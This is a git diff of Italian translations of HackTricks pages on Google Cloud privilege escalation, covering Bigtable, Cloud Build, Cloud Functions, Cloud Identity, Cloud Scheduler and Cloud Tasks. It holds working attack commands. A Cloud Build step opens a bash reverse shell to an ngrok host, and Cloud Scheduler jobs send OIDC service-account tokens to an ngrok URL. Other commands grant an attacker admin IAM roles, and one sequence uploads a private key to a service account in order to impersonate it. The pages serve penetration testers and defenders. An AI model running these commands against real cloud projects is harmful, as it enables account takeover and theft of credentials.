Dopo aver ottenuto questo permesso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per altre tecniche per abusare delle autorizzazioni di Bigtable.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Permissions:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
I backup possono essere ripristinati in **qualsiasi istanza in qualsiasi progetto** che controlli. Prima, concedi alla tua identità l'accesso al backup, quindi ripristinalo in una sandbox dove detieni ruoli Admin/Owner.
|
||||
I backup possono essere ripristinati su **qualsiasi istanza in qualsiasi progetto** che controlli. Prima, concedi alla tua identità l'accesso al backup, poi ripristinalo in un sandbox dove detieni ruoli Admin/Owner.
|
||||
|
||||
Se hai il permesso `bigtable.backups.setIamPolicy` potresti concederti il permesso `bigtable.backups.restore` per ripristinare vecchi backup e cercare di accedere a informazioni sensibili.
|
||||
Se hai il permesso `bigtable.backups.setIamPolicy` potresti concederti il permesso `bigtable.backups.restore` per ripristinare vecchi backup e provare ad accedere a informazioni sensibili.
|
||||
|
||||
<details><summary>Prendi possesso dello snapshot del backup</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Dopo aver ottenuto questo permesso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come ripristinare un backup.
|
||||
</details>
|
||||
|
||||
Dopo aver ottenuto questo permesso consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come ripristinare un backup.
|
||||
|
||||
|
||||
### Aggiorna authorized view
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views dovrebbero oscurare righe/colonne. Modificarle o eliminarle **rimuove le salvaguardie granulari** su cui i difensori fanno affidamento.
|
||||
Authorized Views sono pensate per oscurare righe/colonne. Modificare o eliminare tali viste **rimuove i vincoli di controllo granulare** su cui i difensori fanno affidamento.
|
||||
|
||||
<details><summary>Aggiorna authorized view per ampliare l'accesso</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -85,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
Dopo aver ottenuto questo permesso, consulta la [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per verificare come leggere da un Authorized View.
|
||||
</details>
|
||||
|
||||
Dopo aver verificato questo permesso nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come leggere da un Authorized View.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Permessi:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Un attacker con questo permesso può concedersi l'accesso a un Authorized View, che potrebbe contenere dati sensibili ai quali altrimenti non avrebbe accesso.
|
||||
Un attaccante con questo permesso può concedersi l'accesso a un Authorized View, che può contenere dati sensibili a cui altrimenti non avrebbe accesso.
|
||||
|
||||
<details><summary>Concediti l'accesso all'Authorized View</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -99,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Dopo aver eseguito questo controllo dei permessi nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per verificare come leggere da una vista autorizzata.
|
||||
</details>
|
||||
|
||||
Dopo aver effettuato questo controllo dei permessi nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per verificare come leggere da una vista autorizzata.
|
||||
|
||||
|
||||
|
||||
|
||||
+6
-2
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Crea Brand e Client OAuth
|
||||
### Creare un brand OAuth e un client
|
||||
|
||||
[**Secondo la documentazione**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), queste sono le autorizzazioni richieste:
|
||||
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), queste sono le autorizzazioni richieste:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>Creare un brand OAuth e un client</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
Per ulteriori informazioni su Cloud Build controlla:
|
||||
Per maggiori informazioni su Cloud Build consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,12 +12,14 @@ Per ulteriori informazioni su Cloud Build controlla:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Con questo permesso puoi **inviare un cloud build**. La macchina cloudbuild avrà nel suo filesystem per **default un token dell'Account di Servizio cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Tuttavia, puoi **indicare qualsiasi account di servizio all'interno del progetto** nella configurazione di cloudbuild.\
|
||||
Pertanto, puoi semplicemente far esfiltrare alla macchina il token verso il tuo server o **ottenere una reverse shell al suo interno e prendere il token** (il file contenente il token potrebbe cambiare).
|
||||
Con questa autorizzazione puoi **inviare un Cloud Build**. La macchina cloudbuild avrà nel suo filesystem, di default, un token del cloudbuild Service Account: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Tuttavia, puoi **indicare qualsiasi service account all'interno del progetto** nella configurazione di cloudbuild.\
|
||||
Quindi, puoi semplicemente far exfiltrate dalla macchina il token verso il tuo server o **ottenere una reverse shell al suo interno e recuperare il token** (il file contenente il token potrebbe cambiare).
|
||||
|
||||
#### Sfruttamento diretto tramite gcloud CLI
|
||||
#### Sfruttamento diretto via gcloud CLI
|
||||
|
||||
1- Crea `cloudbuild.yaml` e modifica con i dati del tuo listener
|
||||
1- Crea `cloudbuild.yaml` e modificalo con i dati del tuo listener
|
||||
|
||||
<details><summary>Cloud Build YAML configuration for reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,28 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Carica una build semplice senza sorgente, il file yaml e specifica il SA da utilizzare nella build:
|
||||
</details>
|
||||
|
||||
2- Carica una build semplice senza sorgente, il file yaml e specifica la SA da usare per la build:
|
||||
|
||||
<details><summary>Invia Cloud Build con service account specificato</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Utilizzando la libreria python gcloud
|
||||
Puoi trovare lo script di exploit originale [**qui su GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e [**rubare il token qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (nel codice puoi trovare come specificare altri account di servizio)**.**
|
||||
</details>
|
||||
|
||||
Per una spiegazione più dettagliata, visita [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
#### Usare la libreria python gcloud
|
||||
|
||||
Puoi trovare lo script exploit originale [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (nel codice puoi trovare come specificare altri service accounts)**.**
|
||||
|
||||
Per una spiegazione più approfondita, visita [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
Con questo permesso l'utente può ottenere il **token di accesso in lettura** utilizzato per accedere al repository:
|
||||
Con questo permesso l'utente può ottenere il **read access token** utilizzato per accedere al repository:
|
||||
|
||||
<details><summary>Ottieni il read access token per il repository</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +58,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
Con questo permesso, l'utente può ottenere il **token di accesso in lettura e scrittura** utilizzato per accedere al repository:
|
||||
Con questo permesso l'utente può ottenere il **read and write access token** utilizzato per accedere al repository:
|
||||
|
||||
<details><summary>Ottieni il read and write access token per il repository</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +72,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
Con questo permesso puoi **ottenere i repo a cui la connessione ha accesso:**
|
||||
Con questo permesso puoi **ottenere i repos a cui la connection ha accesso:**
|
||||
|
||||
<details><summary>Recupera repositories collegabili</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+31
-23
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Ulteriori informazioni su Cloud Functions:
|
||||
Maggiori informazioni su Cloud Functions:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,19 +12,21 @@ Ulteriori informazioni su Cloud Functions:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaccante con questi privilegi può **creare una nuova Cloud Function con codice arbitrario (maligno) e assegnarle un Service Account**. Poi, estrarre il token del Service Account dai metadati per elevare i privilegi.\
|
||||
Potrebbero essere richiesti alcuni privilegi per attivare la funzione.
|
||||
Un attacker con questi privilegi può **creare una nuova Cloud Function con codice arbitrario (maligno) e assegnarle un Service Account**. Successivamente, leak the Service Account token dalla metadata per elevare i privilegi su di esso.\
|
||||
Alcuni privilegi per triggerare la function potrebbero essere richiesti.
|
||||
|
||||
Gli script di exploit per questo metodo possono essere trovati [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) e [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) e il file .zip precompilato può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
Exploit scripts per questo metodo si trovano [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaccante con questi privilegi può **modificare il codice di una Function e persino modificare il service account associato** con l'obiettivo di esfiltrare il token.
|
||||
Un attacker con questi privilegi può **modificare il codice di una Function e persino modificare il service account associato** con l'obiettivo di exfiltrating il token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Per distribuire le cloud functions è necessario avere anche i permessi actAs sul service account di calcolo predefinito o sul service account utilizzato per costruire l'immagine.
|
||||
> Per poter deployare le cloud functions è inoltre necessario avere i permessi actAs sul default compute service account o sul service account usato per buildare l'immagine.
|
||||
|
||||
Potrebbero essere richiesti alcuni privilegi extra come il permesso `.call` per la versione 1 di cloudfunctions o il ruolo `role/run.invoker` per attivare la funzione.
|
||||
Alcuni privilegi extra come la permission `.call` per version 1 cloudfunctions o il ruolo `role/run.invoker` per trigger the function potrebbero essere richiesti.
|
||||
|
||||
<details><summary>Aggiornare una Cloud Function con codice maligno per exfiltrate il service account token</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Se ricevi l'errore `Permission 'run.services.setIamPolicy' denied on resource...` è perché stai usando il parametro `--allow-unauthenticated` e non hai abbastanza permessi per farlo.
|
||||
</details>
|
||||
|
||||
Lo script di exploit per questo metodo può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
> [!CAUTION]
|
||||
> Se ricevi l'errore `Permission 'run.services.setIamPolicy' denied on resource...` è perché stai usando il parametro `--allow-unauthenticated` e non hai permessi sufficienti per questo.
|
||||
|
||||
Lo script di exploit per questo metodo può essere trovato [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Con questo permesso puoi ottenere un **URL firmato per poter caricare un file in un bucket di funzioni (ma il codice della funzione non verrà modificato, devi comunque aggiornarlo)**
|
||||
Con questo permesso puoi ottenere un **signed URL per poter caricare un file nel bucket della funzione (ma il codice della funzione non verrà modificato, devi comunque aggiornarlo)**
|
||||
|
||||
<details><summary>Generate signed upload URL for Cloud Function</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
Non sono sicuro di quanto sia utile solo questo permesso dal punto di vista di un attaccante, ma è buono da sapere.
|
||||
</details>
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs`
|
||||
Non sono davvero sicuro di quanto sia utile solo questo permesso dal punto di vista di un attacker, ma è comunque utile saperlo.
|
||||
|
||||
Datti uno dei precedenti privilegi **`.update`** o **`.create`** per l'escalation.
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Concediti uno qualsiasi dei precedenti privilegi **`.update`** o **`.create`** per effettuare l'escalation.
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Avere solo permessi **`cloudfunctions`**, senza **`iam.serviceAccounts.actAs`**, non ti permetterà di aggiornare la funzione QUINDI QUESTO NON È UN VALIDO PRIVESC.
|
||||
Avere solo i permessi **`cloudfunctions`**, senza **`iam.serviceAccounts.actAs`**, non ti permetterà di aggiornare la funzione — QUINDI QUESTO NON È UN VALID PRIVESC.
|
||||
|
||||
### Accesso in lettura e scrittura sul bucket
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
Se hai accesso in lettura e scrittura sul bucket, puoi monitorare le modifiche nel codice e ogni volta che **si verifica un aggiornamento nel bucket, puoi aggiornare il nuovo codice con il tuo codice** in modo che la nuova versione della Cloud Function venga eseguita con il codice backdoored inviato.
|
||||
Se hai accesso in lettura e scrittura sul bucket puoi monitorare le modifiche al codice e, ogni volta che avviene un **update nel bucket puoi sostituire il nuovo codice con il tuo codice** così la nuova versione della Cloud Function verrà eseguita con il codice backdoored che hai caricato.
|
||||
|
||||
Puoi controllare di più sull'attacco in:
|
||||
Puoi approfondire l'attacco in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Tuttavia, non puoi usare questo per pre-compromettere le Cloud Functions di terze parti perché se crei il bucket nel tuo account e gli dai permessi pubblici affinché il progetto esterno possa scriverci, ottieni il seguente errore:
|
||||
Tuttavia, non puoi usare questo per pre-compromettere Cloud Functions di terzi perché se crei il bucket nel tuo account e gli dai permessi pubblici in modo che il progetto esterno possa scriverci sopra, ottieni il seguente errore:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Tuttavia, questo potrebbe essere utilizzato per attacchi DoS.
|
||||
> Tuttavia, questo potrebbe essere usato per attacchi DoS.
|
||||
|
||||
### Accesso in lettura e scrittura su Artifact Registry
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
Quando viene creata una Cloud Function, una nuova immagine docker viene inviata all'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova e persino a eliminare l'immagine corrente (e l'immagine `cache`), ma nulla è cambiato, la cloud function continua a funzionare. Pertanto, potrebbe **essere possibile abusare di un attacco di Race Condition** come con il bucket per cambiare il contenitore docker che verrà eseguito, ma **modificare semplicemente l'immagine memorizzata non è possibile per compromettere la Cloud Function**.
|
||||
Quando viene creata una Cloud Function, una nuova docker image viene pushata nell'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova, e persino cancellare l'immagine corrente (e l'immagine di `cache`) e nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe **essere possibile abusare di una Race Condition attack** come con il bucket per cambiare il container docker che verrà eseguito, ma **modificare semplicemente l'immagine salvata non è possibile per compromettere la Cloud Function**.
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
+12
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
Per ulteriori informazioni sul servizio cloudidentity, controlla questa pagina:
|
||||
Per maggiori informazioni sul servizio cloudidentity, consulta questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,14 +12,20 @@ Per ulteriori informazioni sul servizio cloudidentity, controlla questa pagina:
|
||||
|
||||
### Aggiungiti a un gruppo
|
||||
|
||||
Se il tuo utente ha abbastanza permessi o il gruppo è mal configurato, potrebbe essere in grado di diventare membro di un nuovo gruppo:
|
||||
Se il tuo utente ha permessi sufficienti o il gruppo è mal configurato, potrebbe essere in grado di aggiungere se stesso come membro di un nuovo gruppo:
|
||||
|
||||
<details><summary>Aggiungiti a un gruppo Cloud Identity</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### Modifica dell'appartenenza al gruppo
|
||||
</details>
|
||||
|
||||
Se il tuo utente ha abbastanza permessi o il gruppo è configurato in modo errato, potrebbe essere in grado di diventare PROPRIETARIO di un gruppo di cui è membro:
|
||||
### Modificare l'appartenenza al gruppo
|
||||
|
||||
Se il tuo utente ha permessi sufficienti o il gruppo è mal configurato, potrebbe riuscire a rendersi OWNER di un gruppo di cui è membro:
|
||||
|
||||
<details><summary>Modificare l'appartenenza al gruppo per diventare OWNER</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+26
-10
@@ -10,35 +10,49 @@ Maggiori informazioni in:
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Un attaccante con questi permessi potrebbe sfruttare **Cloud Scheduler** per **autenticare i cron job come un specifico Service Account**. Creando una richiesta HTTP POST, l'attaccante programma azioni, come la creazione di un bucket di Storage, da eseguire sotto l'identità del Service Account. Questo metodo sfrutta **la capacità del Scheduler di mirare agli endpoint `*.googleapis.com` e autenticare le richieste**, consentendo all'attaccante di manipolare direttamente gli endpoint API di Google utilizzando un semplice comando `gcloud`.
|
||||
Un attaccante con questi permessi potrebbe sfruttare **Cloud Scheduler** per **autenticare cron jobs come un Service Account specifico**. Compilando una richiesta HTTP POST, l'attaccante programma azioni, come la creazione di un Storage bucket, per essere eseguite sotto l'identità del Service Account. Questo metodo sfrutta la **capacità dello Scheduler di mirare endpoint `*.googleapis.com` e autenticare le richieste**, permettendo all'attaccante di manipolare direttamente i Google API endpoints usando un semplice comando `gcloud`.
|
||||
|
||||
- **Contattare qualsiasi API google tramite `googleapis.com` con intestazione del token OAuth**
|
||||
- **Contatta qualsiasi Google API via `googleapis.com` con OAuth token header**
|
||||
|
||||
Crea un nuovo bucket di Storage:
|
||||
Crea un nuovo Storage bucket:
|
||||
|
||||
<details><summary>Crea job di Cloud Scheduler per creare un GCS bucket via API</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
Per elevare i privilegi, un **attaccante crea semplicemente una richiesta HTTP mirata all'API desiderata, impersonando il Servizio Account specificato**
|
||||
</details>
|
||||
|
||||
- **Esfiltrare il token del servizio account OIDC**
|
||||
Per elevare i privilegi, un **attacker si limita a creare una richiesta HTTP mirata all'API desiderata, impersonando il Service Account specificato**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
<details><summary>Create Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Se hai bisogno di controllare la risposta HTTP, puoi semplicemente **dare un'occhiata ai log dell'esecuzione**.
|
||||
</details>
|
||||
|
||||
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
Se hai bisogno di controllare la risposta HTTP puoi semplicemente **dare un'occhiata ai log dell'esecuzione**.
|
||||
|
||||
Come nel scenario precedente, è possibile **aggiornare un scheduler già creato** per rubare il token o eseguire azioni. Ad esempio:
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Come nello scenario precedente è possibile **aggiornare uno scheduler già creato** per rubare il token o eseguire azioni. Per esempio:
|
||||
|
||||
<details><summary>Aggiorna job esistente di Cloud Scheduler per esfiltrare il token OIDC</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Un altro esempio per caricare una chiave privata su un SA e impersonarlo:
|
||||
</details>
|
||||
|
||||
Un altro esempio per caricare una chiave privata su una SA e impersonarla:
|
||||
|
||||
<details><summary>Caricare una chiave privata su un Service Account tramite Cloud Scheduler e impersonarlo</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,6 +116,8 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
</details>
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+17
-5
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Un attaccante con questi permessi può **impersonare altri account di servizio** creando attività che vengono eseguite con l'identità dell'account di servizio specificato. Questo consente di inviare **richieste HTTP autenticate ai servizi Cloud Run o Cloud Functions protetti da IAM**.
|
||||
Un attaccante con queste autorizzazioni può **impersonare altri service account** creando task che vengono eseguite con l'identità del service account specificato. Ciò permette di inviare **richieste HTTP autenticate a servizi Cloud Run o Cloud Functions protetti da IAM**.
|
||||
|
||||
<details><summary>Creare una Cloud Task impersonando un service account</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
Un attaccante con questi permessi può **eseguire attività programmate esistenti** senza avere permessi sull'account di servizio associato all'attività. Questo consente di eseguire attività che sono state precedentemente create con account di servizio con privilegi più elevati.
|
||||
Un attacker con queste autorizzazioni può **eseguire scheduled tasks esistenti** senza avere permessi sul service account associato al task. Questo permette di eseguire task che erano stati precedentemente creati con service account con privilegi più elevati.
|
||||
|
||||
<details><summary>Eseguire una Cloud Task esistente senza actAs permission</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
Il principale che esegue questo comando **non ha bisogno del permesso `iam.serviceAccounts.actAs`** sull'account di servizio del task. Tuttavia, questo consente solo di eseguire task esistenti - non concede la possibilità di creare o modificare task.
|
||||
</details>
|
||||
|
||||
Il principal che esegue questo comando **non ha bisogno del permesso `iam.serviceAccounts.actAs`** sull'account di servizio del task. Tuttavia, questo permette solo di eseguire task esistenti: non concede la possibilità di creare o modificare i task.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
Un attaccante con questo permesso può **assegnare a se stesso o ad altri principali ruoli di Cloud Tasks** su code specifiche, potenzialmente elevandosi a `roles/cloudtasks.admin` che include la possibilità di creare ed eseguire task.
|
||||
